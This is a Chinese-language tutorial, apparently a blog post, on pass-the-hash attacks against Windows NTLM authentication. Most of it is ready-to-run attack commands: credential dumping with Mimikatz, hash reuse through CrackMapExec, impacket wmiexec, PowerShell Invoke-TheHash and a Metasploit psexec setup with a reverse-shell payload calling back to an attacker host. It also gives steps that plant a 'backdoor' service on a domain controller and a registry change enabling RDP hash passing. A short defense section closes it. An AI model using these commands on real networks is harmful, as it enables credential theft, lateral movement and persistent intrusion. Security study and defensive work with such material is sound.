谭谈哈希传递那些世人皆知的事
字数 1256 2025-08-05 08:19:43
哈希传递攻击(PTH)全面指南
1. 哈希传递攻击概述
哈希传递攻击(Pass The Hash, PTH)是一种利用NTLM哈希值而非明文密码进行身份验证的攻击技术。在Windows系统中,NTLM认证的TYPE 3消息计算Response时使用的是用户的NTLM Hash而非明文密码,这使得攻击者只需获取哈希值即可模拟用户身份。
1.1 攻击原理
- 利用NTLM认证机制的特性
- 不需要破解哈希获取明文密码
- 适用于域环境和工作组环境
- 特别有效于使用相同本地管理员账号密码的多台计算机
1.2 攻击条件
- 已获取目标用户的NTLM哈希值
- 目标系统未打相关补丁或配置不当
- 攻击者具有本地管理员权限(部分工具需要)
2. 攻击工具与方法
2.1 使用Mimikatz进行PTH
基本步骤:
- 获取哈希值:
privilege::debug
sekurlsa::logonpasswords
- 执行哈希传递:
privilege::debug
sekurlsa::pth /user:administrator /domain:domain.com /ntlm:hash_value
- 简化命令:
mimikatz.exe privilege::debug "sekurlsa::pth /domain:domain.com /user:administrator /ntlm:hash_value /run:cmd.exe"
后续利用:
- 复制文件到目标主机:
copy shell.exe \\DC.domain.com\c$
- 创建并启动服务:
sc \\DC.domain.com create backdoor binpath="c:\shell.exe"
sc \\DC.domain.com start backdoor
sc \\DC.domain.com delete backdoor
2.2 使用CrackMapExec进行PTH
安装:
apt-get install crackmapexec
基本命令:
crackmapexec smb IP -u username -H NTLM_hash -d domain -x command
示例:
crackmapexec smb 192.168.1.0/24 -u administrator -H ab89b1295e69d353dd7614c7a3a80cec -d domain.com -x whoami
2.3 使用wmiexec.py进行PTH
安装:
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip install .
基本命令:
python wmiexec.py -hashes LM_hash:NT_hash domain/user@IP "command"
示例:
python wmiexec.py -hashes 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec domain/administrator@192.168.1.1 "whoami"
2.4 使用Metasploit进行PTH
常用模块:
- auxiliary/admin/smb/psexec_command
- exploit/windows/smb/psexec
- exploit/windows/smb/psexec_psh
配置示例:
use exploit/windows/smb/psexec
set rhosts 192.168.1.1
set smbuser administrator
set smbpass 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec
set smbdomain domain.com
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.100
set lport 4444
exploit
2.5 使用PowerShell工具进行PTH
2.5.1 Invoke-SMBExec
基本命令:
Import-Module .\Invoke-SMBExec.ps1
Invoke-SMBExec -Target IP -Domain domain -Username username -Hash LM_hash:NT_hash -Command "command" -verbose
2.5.2 Invoke-TheHash
基本命令:
Import-Module .\Invoke-WMIExec.ps1
Import-Module .\Invoke-TheHash.ps1
Invoke-TheHash -Type WMIExec -Target IP -Domain domain -Username username -Hash NT_hash -Command "command" -verbose
2.5.3 Invoke-SMBClient
文件操作命令:
Import-Module .\Invoke-SMBClient.ps1
Invoke-SMBClient -Domain domain -Username username -Hash NT_hash -Source \\server\share -verbose
3. 哈希传递攻击RDP远程桌面
3.1 受限管理员模式(Restricted Admin Mode)
适用系统:
- Windows 8.1和Windows Server 2012 R2默认支持
- Windows 7和Windows Server 2008 R2需安装补丁kb2871997、kb2973351
启用方法:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
使用Mimikatz攻击:
privilege::debug
sekurlsa::pth /user:administrator /domain:domain.com /ntlm:hash_value "/run:mstsc.exe /restrictedadmin"
4. 防御措施
4.1 微软补丁
- KB2871997:限制本地账号用于远程接入
- KB2928120
4.2 其他防御措施
- 禁用NTLM认证,改用Kerberos
- 启用Credential Guard(Windows 10/Server 2016+)
- 限制本地管理员权限
- 确保每个管理员账户使用唯一密码
- 监控异常登录行为
5. 注意事项
- 使用dir命令时需使用主机名而非IP
- 部分工具需要本地管理员权限
- 哈希格式通常为LM:NT,若不知LM部分可用0代替
- 受限管理员模式仅对管理员组有效
- 即使Administrator改名,只要SID仍为500,攻击仍可能成功
6. 总结
哈希传递攻击是内网渗透中极为有效的技术,攻击者无需破解密码即可横向移动。防御此类攻击需要综合应用补丁、配置更改和安全监控等多种措施。管理员应特别关注特权账户的保护和NTLM认证的安全配置。